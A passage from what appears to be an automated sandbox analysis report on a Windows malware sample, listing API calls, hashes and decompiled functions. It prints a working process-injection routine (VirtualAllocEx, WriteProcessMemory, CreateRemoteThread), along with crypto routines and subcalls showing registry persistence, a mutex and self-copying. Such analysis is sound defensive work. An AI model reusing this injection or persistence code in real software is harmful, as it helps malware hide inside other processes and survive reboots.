CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 0252A59C
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 0252A5B8
CryptDestroyKey.ADVAPI32(00000000), ref: 0252A5C5
CryptDestroyHash.ADVAPI32(00000000), ref: 0252A5CF
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0252A5DB

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Crypt$ContextHash$AcquireDestroy$CreateDataDecryptDeriveErrorLastRelease
String ID:
API String ID: 3718126946-0
Opcode ID: 71c9adc9b467ae165da43e1669a7b73bdd10744fd139576a6c229d191573f996
Instruction ID: dac7aef572434a5d01282a86e549fd02e7300ef86b01feafb2547b6291777a3d
Opcode Fuzzy Hash: 71c9adc9b467ae165da43e1669a7b73bdd10744fd139576a6c229d191573f996
Instruction Fuzzy Hash: 69310F75A44209AFEF28CFA4C849BAF7B79FB44705F148518F601B61C0D7B8AD88CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0252A377 Relevance: 13.6, APIs: 9, Instructions: 101encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(00000000,04013370,0400C828,00000001,00000000), ref: 0252A3C6
GetLastError.KERNEL32 ref: 0252A3D0
CryptAcquireContextA.ADVAPI32(00000000,04013370,0400C858,00000001,00000008), ref: 0252A3FF
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0252A420
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0252A438
CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 0252A460
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0252A488
CryptDestroyHash.ADVAPI32(00000000), ref: 0252A49C
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0252A4A8

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CreateDataDestroyErrorLastRelease
String ID:
API String ID: 731959895-0
Opcode ID: c04671c4f16af3ba3265102b35b0728ece87a0365c7276e8c5171731790e3264
Instruction ID: 5ee091dcaf4c5c602354538443aa46b4b3d2c2dc438103f35f9aba14271b5f3d
Opcode Fuzzy Hash: c04671c4f16af3ba3265102b35b0728ece87a0365c7276e8c5171731790e3264
Instruction Fuzzy Hash: B3410B75A40219ABEB18CF94C889BEF7BB8FB45705F148518FA11B61C0D7B8D984CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0252A237 Relevance: 13.6, APIs: 9, Instructions: 97encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(00000000,04013370,0400C7C8,00000001,00000000), ref: 0252A29A
GetLastError.KERNEL32 ref: 0252A2A4
CryptAcquireContextA.ADVAPI32(00000000,04013370,0400C7F8,00000001,00000008), ref: 0252A2D3
CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 0252A2FE
CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 0252A325
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 0252A341
CryptDestroyKey.ADVAPI32(00000000), ref: 0252A34E
CryptDestroyKey.ADVAPI32(00000000), ref: 0252A358
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0252A364

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireDestroyImport$DecryptErrorLastRelease
String ID:
API String ID: 1555285084-0
Opcode ID: a29918078d8c2f64865fcd98cb153a1075290469360e4a9c607703ac9d42e64f
Instruction ID: de7a28617a8f4051569ce3f949818d9e6cfd3e2a3d92223d6612ac676ae78909
Opcode Fuzzy Hash: a29918078d8c2f64865fcd98cb153a1075290469360e4a9c607703ac9d42e64f
Instruction Fuzzy Hash: 84311975A10209EBEB14CF94C988BEE7BB8FB49B05F148518F601B61C0C7B99A84CF65

Uniqueness

Uniqueness Score: -1.00%

Function 000F21A0 Relevance: 12.2, APIs: 8, Instructions: 218
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E000F21A0(CHAR* __ecx, signed int __edx, struct HINSTANCE__* _a4, CHAR* _a8, intOrPtr _a12) {
				char _v8;
				char _v16;
				char* _v20;
				signed int _v24;
				char _v1048;
				struct HRSRC__* _v1052;
				struct HRSRC__* _v1056;
				CHAR* _v1060;
				CHAR* _v1064;
				signed int _v1068;
				char _v1072;
				struct HINSTANCE__* _v1076;
				void* _v1096;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t61;
				signed int _t62;
				struct HRSRC__* _t65;
				int _t70;
				signed int _t73;
				CHAR* _t74;
				void* _t78;
				void* _t80;
				struct HRSRC__* _t81;
				struct HRSRC__* _t85;
				struct HRSRC__* _t95;
				signed int _t96;
				struct HINSTANCE__* _t101;
				void* _t102;
				struct HRSRC__* _t103;
				struct HRSRC__* _t120;
				void* _t121;
				char* _t122;
				struct HRSRC__* _t124;
				void* _t125;
				struct HRSRC__ _t126;
				signed int _t127;
				int _t128;
				struct HRSRC__* _t129;
				struct HRSRC__* _t130;
				signed int _t131;
				void* _t132;
				char* _t133;

				_t115 = __edx;
				_t104 = __ecx;
				_push(0xffffffff);
				_push(E0010FBB6);
				_push( *[fs:0x0]);
				_t133 = _t132 - 0x428;
				_t61 =  *0x159060; // 0x1f9a9bdf
				_t62 = _t61 ^ _t131;
				_v24 = _t62;
				_push(_t62);
				 *[fs:0x0] =  &_v16;
				_v20 = _t133;
				_t101 = _a4;
				_t120 = 0;
				_v1060 = _a8;
				_v1064 = __ecx;
				_t124 = 0;
				_v1056 = 0;
				_v8 = 0;
				_v1068 = __edx;
				_v1072 = 0;
				_v1052 = 0;
				_v8 = 1;
				if(_t101 == 0) {
					L15:
					if(_v1052 !=  &_v1048) {
						E000FD040( &_v1052);
					}
					if(_t120 != _t124) {
						while(1) {
							_t126 = _t120->i;
							_v1056 = _t126;
							E00105DE2(_t120);
							_t133 =  &(_t133[4]);
							if(_t126 == 0) {
								goto L21;
							}
							_t120 = _v1056;
						}
					}
					L21:
					_t65 = 0x8007000e;
				} else {
					_t70 = lstrlenW(_t101);
					asm("cdq");
					_t127 = _t70 + 1;
					_t115 = (_t115 << 0x00000020 | _t127) << 1;
					_t128 = _t127 + _t127;
					_t73 = _t128 + 0x80000000;
					asm("adc edx, edi");
					_v1076 = _t115;
					if(_t73 != 0 || _t73 > 0xffffffff) {
						L12:
						_t74 = 0;
						__eflags = 0;
						goto L13;
					} else {
						if(_t128 > 0x400) {
							L6:
							__eflags = (_t73 | 0xffffffff) - _t128 - 8;
							if((_t73 | 0xffffffff) - _t128 < 8) {
								goto L32;
							} else {
								_t20 = _t128 + 8; // 0x9
								_t95 = E00105E1C(_t115, _t120, _t128, _t20);
								_t133 =  &(_t133[4]);
								__eflags = _t95;
								if(_t95 == 0) {
									goto L12;
								} else {
									 *_t95 = 0;
									_v1056 = _t95;
									_t22 = _t95 + 8; // 0x8
									_t122 = _t22;
									goto L9;
								}
								goto L13;
							}
						} else {
							_t73 = E000F1030(_t104, _t115, _t128);
							_t133 =  &(_t133[4]);
							if(_t73 == 0) {
								goto L6;
							} else {
								E0010ACA0(_t128);
								_v20 = _t133;
								_t122 = _t133;
								L9:
								if(_t122 == 0) {
									_t120 = _v1056;
									goto L12;
								} else {
									 *_t122 = 0;
									_t96 = WideCharToMultiByte(3, 0, _t101, 0xffffffff, _t122, _t128, 0, 0);
									asm("sbb eax, eax");
									_t74 =  ~_t96 & _t122;
									_t120 = _v1056;
								}
								L13:
								if(_t74 != 0) {
									_t101 = LoadLibraryExA(_t74, 0, 2);
									_v1076 = _t101;
									__eflags = _t101;
									if(_t101 != 0) {
										_t115 = _v1064;
										_t129 = FindResourceA(_t101, _v1060, _v1064);
										__eflags = _t129;
										if(_t129 != 0) {
											_t78 = LoadResource(_t101, _t129);
											_v1064 = _t78;
											__eflags = _t78;
											if(_t78 != 0) {
												_t128 = SizeofResource(_t101, _t129);
												_t34 = _t128 + 1; // 0x1
												_t80 = _t34;
												_v1060 = _t128;
												__eflags = _t80 - _t128;
												if(_t80 >= _t128) {
													__eflags = 0;
													_v8 = 2;
													if(0 > 0) {
														L32:
														_push(0x80070216);
														_t80 = E000F1170(_t115);
													} else {
														__eflags = _t80 - 0xffffffff;
														if(_t80 > 0xffffffff) {
															goto L32;
														}
													}
													__eflags = _t80 - 0x400;
													if(__eflags <= 0) {
														_v1052 =  &_v1048;
													} else {
														E000FFF60(_t80, _t115, _t120, _t128, __eflags,  &_v1052);
													}
													_v8 = 1;
													_t81 = _v1052;
													__eflags = _t81;
													if(_t81 != 0) {
														L000F1190(_t128, _v1064, _t128, _t81);
														_t133 =  &(_t133[4]);
														 *((char*)(_v1052 + _t128)) = 0;
														_t85 = E000F3650( &_v1072, _v1052, __eflags, _a12);
														goto L40;
													} else {
														_v1056 = 0x8007000e;
													}
												} else {
													_v1056 = 0x8007000e;
												}
											} else {
												_t85 = E000F13E0();
												goto L40;
											}
										} else {
											_t85 = E000F13E0();
											L40:
											_v1056 = _t85;
										}
										FreeLibrary(_t101);
										_t103 = _v1056;
									} else {
										_t103 = E000F13E0();
									}
									_t115 =  &_v1048;
									__eflags = _v1052 -  &_v1048;
									if(_v1052 !=  &_v1048) {
										E000FD040( &_v1052);
									}
									__eflags = _t120;
									if(_t120 != 0) {
										while(1) {
											_t130 =  *_t120;
											_v1056 = _t130;
											E00105DE2(_t120);
											_t133 =  &(_t133[4]);
											__eflags = _t130;
											if(_t130 == 0) {
												goto L48;
											}
											_t120 = _v1056;
										}
									}
									L48:
									_t65 = _t103;
								} else {
									_t124 = 0;
									goto L15;
								}
							}
						}
					}
				}
				 *[fs:0x0] = _v16;
				_pop(_t121);
				_pop(_t125);
				_pop(_t102);
				return E001059E6(_t65, _t102, _v24 ^ _t131, _t115, _t121, _t125);
			}

0x000f21a0
0x000f21a0
0x000f21a3
0x000f21a5
0x000f21b0
0x000f21b1
0x000f21b7
0x000f21bc
0x000f21be
0x000f21c4
0x000f21c8
0x000f21ce
0x000f21d4
0x000f21d7
0x000f21d9
0x000f21df
0x000f21e5
0x000f21e7
0x000f21ed
0x000f21f0
0x000f21f6
0x000f21fc
0x000f2202
0x000f2208
0x000f22bf
0x000f22cb
0x000f22d3
0x000f22d3
0x000f22da
0x000f22e6
0x000f22e6
0x000f22e9
0x000f22ef
0x000f22f4
0x000f22f9
0x00000000
0x00000000
0x000f22e0
0x000f22e0
0x000f22e6
0x000f22fb
0x000f22fb
0x000f220e
0x000f220f
0x000f2216
0x000f2217
0x000f2219
0x000f221d
0x000f2221
0x000f2226
0x000f2228
0x000f222e
0x000f22b7
0x000f22b7
0x000f22b7
0x00000000
0x000f2239
0x000f223f
0x000f225c
0x000f2261
0x000f2264
0x00000000
0x000f226a
0x000f226a
0x000f226e
0x000f2273
0x000f2276
0x000f2278
0x00000000
0x000f227a
0x000f227a
0x000f2280
0x000f2286
0x000f2286
0x00000000
0x000f2286
0x00000000
0x000f2278
0x000f2241
0x000f2242
0x000f2247
0x000f224c
0x00000000
0x000f224e
0x000f2250
0x000f2255
0x000f2258
0x000f2289
0x000f228b
0x000f22b1
0x00000000
0x000f228d
0x000f229a
0x000f229d
0x000f22a5
0x000f22a7
0x000f22a9
0x000f22a9
0x000f22b9
0x000f22bb
0x000f2310
0x000f2312
0x000f2318
0x000f231a
0x000f2328
0x000f233d
0x000f233f
0x000f2341
0x000f234f
0x000f2355
0x000f235b
0x000f235d
0x000f2371
0x000f2373
0x000f2373
0x000f2376
0x000f237c
0x000f237e
0x000f238f
0x000f2391
0x000f2395
0x000f239c
0x000f239c
0x000f23a1
0x000f2397
0x000f2397
0x000f239a
0x00000000
0x00000000
0x000f239a
0x000f23a6
0x000f23ab
0x000f23e2
0x000f23ad
0x000f23b4
0x000f23b4
0x000f23e8
0x000f23ef
0x000f23f5
0x000f23f7
0x000f2410
0x000f241e
0x000f2421
0x000f2432
0x00000000
0x000f23f9
0x000f23f9
0x000f23f9
0x000f2380
0x000f2380
0x000f2380
0x000f235f
0x000f235f
0x00000000
0x000f235f
0x000f2343
0x000f2343
0x000f2437
0x000f2437
0x000f2437
0x000f243e
0x000f2444
0x000f231c
0x000f2321
0x000f2321
0x000f244a
0x000f2450
0x000f2456
0x000f245e
0x000f245e
0x000f2463
0x000f2465
0x000f2476
0x000f2476
0x000f2479
0x000f247f
0x000f2484
0x000f2487
0x000f2489
0x00000000
0x00000000
0x000f2470
0x000f2470
0x000f2476
0x000f248b
0x000f248b
0x000f22bd
0x000f22bd
0x00000000
0x000f22bd
0x000f22bb
0x000f224c
0x000f223f
0x000f222e
0x000f2496
0x000f249e
0x000f249f
0x000f24a0
0x000f24ae

APIs

lstrlenW.KERNEL32(00000000,1F9A9BDF,00000001,00000000,00000000), ref: 000F220F
_malloc.LIBCMT ref: 000F226E
WideCharToMultiByte.KERNEL32(00000003,00000000,00000000,000000FF,00000008,00000001,00000000,00000000), ref: 000F229D

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: ByteCharMultiWide_malloclstrlen
String ID:
API String ID: 2576735857-0
Opcode ID: a3c5f25d2135e6cbfccdfd85dc7ceecb6d6368ca7e68c708e43d505e690a1139
Instruction ID: af82220ebb5d34967beca900c43d3b58c1204cfc0dee2ed952a900355b505deb
Opcode Fuzzy Hash: a3c5f25d2135e6cbfccdfd85dc7ceecb6d6368ca7e68c708e43d505e690a1139
Instruction Fuzzy Hash: 6D81B5F1D0022C9BCB60DB64CC807EEB7B8AF44710F1081AAEB05A7641D7B49EC59F99

Uniqueness

Uniqueness Score: -1.00%

Function 02523CD7 Relevance: 12.1, APIs: 8, Instructions: 149memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040), ref: 02523D2B
VirtualAllocEx.KERNEL32(00000000,?,00000000,00003000,00000040), ref: 02523D57
VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00103000,00000040), ref: 02523D77
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 02523D91

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Virtual$Alloc$Free
String ID:
API String ID: 3668210933-0
Opcode ID: 36ecd06a89aa57b90d8c357f961214fcec07c858538c77e126cc97cb183ebb23
Instruction ID: 5960c75dfc89f625c24b3e5e20d258fbc5b206adc488f1b7e0a0e72f3ab25c16
Opcode Fuzzy Hash: 36ecd06a89aa57b90d8c357f961214fcec07c858538c77e126cc97cb183ebb23
Instruction Fuzzy Hash: B251F9B5E00219AFDB18CF94C885FAEB7B5FB48700F108558F615AB2C0D778A985CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 04002510 Relevance: 12.1, APIs: 8, Instructions: 149
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04002510(void* _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				void* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				long _v28;
				void* _v32;
				signed int _v36;
				void* _t138;
				void* _t139;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L14:
					return _v8;
				} else {
					_v24 = _a8 +  *((intOrPtr*)(_a8 + 0x3c));
					_v20 = _v24 + ( *(_v24 + 0x14) & 0x0000ffff) + 0x18;
					_v12 =  *((intOrPtr*)(_v24 + 0x50));
					_v16 = VirtualAlloc(0, _v12, 0x3000, 0x40);
					if(_v16 != 0) {
						_v32 = VirtualAllocEx(_a4,  *(_v24 + 0x34), _v12, 0x3000, 0x40);
						if(_v32 != 0) {
							L7:
							E04007B70(_v16, _a8,  *((intOrPtr*)(_v24 + 0x54)));
							_t139 = _t138 + 0xc;
							_v36 = 0;
							while(_v36 < ( *(_v24 + 6) & 0x0000ffff)) {
								E04007B70(_v16 +  *((intOrPtr*)(_v20 + 0xc + _v36 * 0x28)), _a8 +  *((intOrPtr*)(_v20 + 0x14 + _v36 * 0x28)),  *((intOrPtr*)(_v20 + 0x10 + _v36 * 0x28)));
								_t139 = _t139 + 0xc;
								_v36 = _v36 + 1;
							}
							E040026D0(_v16, _v32);
							if(WriteProcessMemory(_a4, _v32, _v16, _v12, 0) != 0) {
								VirtualFree(_v16, 0, 0x8000);
								_v28 = 0;
								_v8 = CreateRemoteThread(_a4, 0, 0, _v32 +  *((intOrPtr*)(_v24 + 0x28)), 0x11, 0,  &_v28);
								goto L14;
							}
							VirtualFree(_v16, 0, 0x8000);
							return 0;
						}
						_v32 = VirtualAllocEx(_a4, 0, _v12, 0x103000, 0x40);
						if(_v32 != 0) {
							goto L7;
						}
						VirtualFree(_v16, 0, 0x8000);
						return 0;
					}
					return 0;
				}
			}

0x04002516
0x04002521
0x040026c2
0x00000000
0x04002531
0x0400253a
0x0400254b
0x04002554
0x0400256a
0x04002571
0x04002596
0x0400259d
0x040025d7
0x040025e6
0x040025eb
0x040025ee
0x04002600
0x0400263c
0x04002641
0x040025fd
0x040025fd
0x0400264e
0x04002670
0x04002692
0x04002698
0x040026bf
0x00000000
0x040026bf
0x0400267d
0x00000000
0x04002683
0x040025b6
0x040025bd
0x00000000
0x00000000
0x040025ca
0x00000000
0x040025d0
0x00000000
0x04002573

APIs

VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040), ref: 04002564
VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00003000,00000040), ref: 04002590
VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00103000,00000040), ref: 040025B0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040025CA

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Virtual$Alloc$Free
String ID:
API String ID: 3668210933-0
Opcode ID: 7b5e2a0a0879127798f9ea868be388b8c75a87b6f8ac87fe0ac4160dfdf198bf
Instruction ID: c64b90f60543cdd9f1b152a56a7e8b33ad9649d5cc2119a14d9a029aa2c63625
Opcode Fuzzy Hash: 7b5e2a0a0879127798f9ea868be388b8c75a87b6f8ac87fe0ac4160dfdf198bf
Instruction Fuzzy Hash: D0510D75E00209AFEB18DF94C895FAEB7B5FB48305F10C558E615BB280D778A981CB64

Uniqueness

Uniqueness Score: -1.00%

Function 025252C7 Relevance: 10.8, APIs: 7, Instructions: 302sleepCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,040140B8,00000208), ref: 025252F4
SetUnhandledExceptionFilter.KERNEL32(04005DB0), ref: 025252FF
CoInitialize.OLE32(00000000), ref: 02525307

Part of subcall function 02525CD7: GetModuleFileNameA.KERNEL32(00000000,?,00000208), ref: 02525D33
Part of subcall function 02525CD7: CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 02525D52
Part of subcall function 02525CD7: GetFileSize.KERNEL32(000000FF,00000000), ref: 02525D74
Part of subcall function 02525CD7: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 02525D9D
Part of subcall function 02525CD7: ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 02525DDE
Part of subcall function 02525CD7: CloseHandle.KERNEL32(000000FF), ref: 02525E05
Part of subcall function 02525CD7: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 02525F87
Part of subcall function 02525CD7: CloseHandle.KERNEL32(00000000), ref: 02525FA7

ExitProcess.KERNEL32 ref: 025257D3

Part of subcall function 02526EC7: GetModuleFileNameA.KERNEL32(00000000,-00000100,00000104), ref: 02526F09
Part of subcall function 02526EC7: lstrcpy.KERNEL32(-0000043B,04013CA0), ref: 02526F7F
Part of subcall function 02526EC7: wnsprintfA.SHLWAPI ref: 02526FF6
Part of subcall function 02526EC7: CreateFileA.KERNEL32(-00000100,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0252701B
Part of subcall function 02526EC7: GetFileSize.KERNEL32(000000FF,00000000), ref: 02527034

Part of subcall function 025271C7: lstrcpy.KERNEL32(0401434C,0400C5E4), ref: 0252720E
Part of subcall function 025271C7: lstrlen.KERNEL32(0401189C), ref: 02527244
Part of subcall function 025271C7: lstrcpy.KERNEL32(00000000,0401189C), ref: 0252725E
Part of subcall function 025271C7: lstrlen.KERNEL32(00000000), ref: 02527268
Part of subcall function 025271C7: lstrlen.KERNEL32(0401434C), ref: 02527275
Part of subcall function 025271C7: lstrcat.KERNEL32(00000000,0401434C), ref: 0252728F
Part of subcall function 025271C7: RegCreateKeyExA.ADVAPI32(80000001,00000000,00000000,00000000,00000000,00020006,00000000,00000000,00000000), ref: 025272C7
Part of subcall function 025271C7: RegCloseKey.ADVAPI32(00000000), ref: 025272D5
Part of subcall function 025271C7: lstrlen.KERNEL32(00000000), ref: 02527302

Part of subcall function 0252ABC7: lstrcpy.KERNEL32(?,00000000), ref: 0252ACDA
Part of subcall function 0252ABC7: CharUpperA.USER32(?), ref: 0252ACE8

Part of subcall function 0252B1B7: GetCurrentProcess.KERNEL32(00000008,?), ref: 0252B1D1
Part of subcall function 0252B1B7: OpenProcessToken.ADVAPI32(00000000), ref: 0252B1D8
Part of subcall function 0252B1B7: GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 0252B201
Part of subcall function 0252B1B7: GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),?,00000400,00000400), ref: 0252B23E
Part of subcall function 0252B1B7: CreateWellKnownSid.ADVAPI32(0000000C,00000000,?,00000044), ref: 0252B274
Part of subcall function 0252B1B7: EqualSid.ADVAPI32(?,00000000), ref: 0252B28A

Part of subcall function 02527827: GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 02527849

Part of subcall function 025275C7: CreateMutexA.KERNEL32(00000000,00000000,04013CA0,?,025253B2), ref: 025275D3
Part of subcall function 025275C7: GetLastError.KERNEL32(?,025253B2), ref: 025275D9

StrStrIA.SHLWAPI(040140B8,0400C530), ref: 025253C1

Part of subcall function 025228E7: lstrlen.KERNEL32(00000000), ref: 0252290F
Part of subcall function 025228E7: lstrlen.KERNEL32(00000000), ref: 02522921
Part of subcall function 025228E7: wnsprintfA.SHLWAPI ref: 02522984
Part of subcall function 025228E7: lstrcmpi.KERNEL32(00000104,?), ref: 02522998
Part of subcall function 025228E7: CopyFileA.KERNEL32(00000104,?,00000000), ref: 025229B7
Part of subcall function 025228E7: SetFileAttributesA.KERNEL32(?,00000006), ref: 025229C6
Part of subcall function 025228E7: lstrcpy.KERNEL32(00000104,?), ref: 025229D7
Part of subcall function 025228E7: lstrcpy.KERNEL32(00000000,?), ref: 02522A10
Part of subcall function 025228E7: lstrcpy.KERNEL32(-00000208,00000000), ref: 02522A24
Part of subcall function 025228E7: CreateThread.KERNEL32(00000000,00000000,040012D0,00000000,00000000,00000000), ref: 02522A3B

Part of subcall function 025275F7: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,000F003F,00000000), ref: 02527645
Part of subcall function 025275F7: RegQueryValueExA.ADVAPI32(00000000,?,00000000,00000000,?,00000020), ref: 02527679
Part of subcall function 025275F7: RegDeleteValueA.ADVAPI32(00000000,?), ref: 0252769D
Part of subcall function 025275F7: RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 025276D2
Part of subcall function 025275F7: RegCloseKey.ADVAPI32(00000000), ref: 025276E0

Part of subcall function 025284B7: RegOpenKeyExA.ADVAPI32(80000001,040118A0,00000000,000F003F,00000000), ref: 025284F7
Part of subcall function 025284B7: RegQueryValueExA.ADVAPI32(00000000,04011890,00000000,00000003,?,00000020), ref: 02528528
Part of subcall function 025284B7: RegDeleteValueA.ADVAPI32(00000000,04011890), ref: 02528545
Part of subcall function 025284B7: RegCloseKey.ADVAPI32(00000000), ref: 0252854F

Part of subcall function 025276F7: lstrcpy.KERNEL32(?,04013CA0), ref: 0252772E
Part of subcall function 025276F7: lstrcat.KERNEL32(?,04011898), ref: 02527741
Part of subcall function 025276F7: RegOpenKeyExA.ADVAPI32(80000001,0252541F,00000000,000F003F,00000000), ref: 0252777A
Part of subcall function 025276F7: RegQueryValueExA.ADVAPI32(00000000,?,00000000,00000000,?,00000020), ref: 025277B9
Part of subcall function 025276F7: RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 02527802
Part of subcall function 025276F7: RegCloseKey.ADVAPI32(00000000), ref: 0252780C

VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 02525737
Sleep.KERNEL32(?), ref: 025257BB

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: File$lstrcpy$Value$CloseCreatelstrlen$ModuleNameOpen$ProcessQueryTokenVirtual$DeleteFreeHandleInformationSizelstrcatwnsprintf$AllocAttributesCharCopyCurrentEqualErrorExceptionExitFilterInitializeKnownLastMutexReadSleepThreadUnhandledUpperWelllstrcmpi
String ID:
API String ID: 3052622223-0
Opcode ID: 25e102b083193e98c5abf2ec426d9b6f9097493b73bb8001a981838891cced69
Instruction ID: 71bf92024910026e7bb6edbe662f3e5c9d75ab3ac2e1ead3bb73f0e678573453
Opcode Fuzzy Hash: 25e102b083193e98c5abf2ec426d9b6f9097493b73bb8001a981838891cced69
Instruction Fuzzy Hash: 97C148B09443719AEB28DF60DC09BBA77B1BB46341F4840F8E2487A1D0EB795A88CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0252A137 Relevance: 10.6, APIs: 7, Instructions: 78encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(00000000,04013370,0400C768,00000001,00000000), ref: 0252A186
GetLastError.KERNEL32 ref: 0252A190
CryptAcquireContextA.ADVAPI32(00000000,04013370,0400C798,00000001,00000008), ref: 0252A1BF
CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 0252A1E6
CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 0252A208
CryptDestroyKey.ADVAPI32(00000000), ref: 0252A215
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0252A221

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Crypt$Context$Acquire$DestroyEncryptErrorImportLastRelease
String ID:
API String ID: 3736710109-0
Opcode ID: a580c414a6f780aecf9ca1925e7721a486cca4ea517db96ead6d5debf2f75543
Instruction ID: 146a7e24d4228ae89be99001b2714efb241c6819ea2dd4e82ac25924da187dee
Opcode Fuzzy Hash: a580c414a6f780aecf9ca1925e7721a486cca4ea517db96ead6d5debf2f75543
Instruction Fuzzy Hash: C6316D75A44208EFEB14CF94D848FEE7BB8FB09704F108218F600A62C0D7B99A84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 001059E6 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E001059E6(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
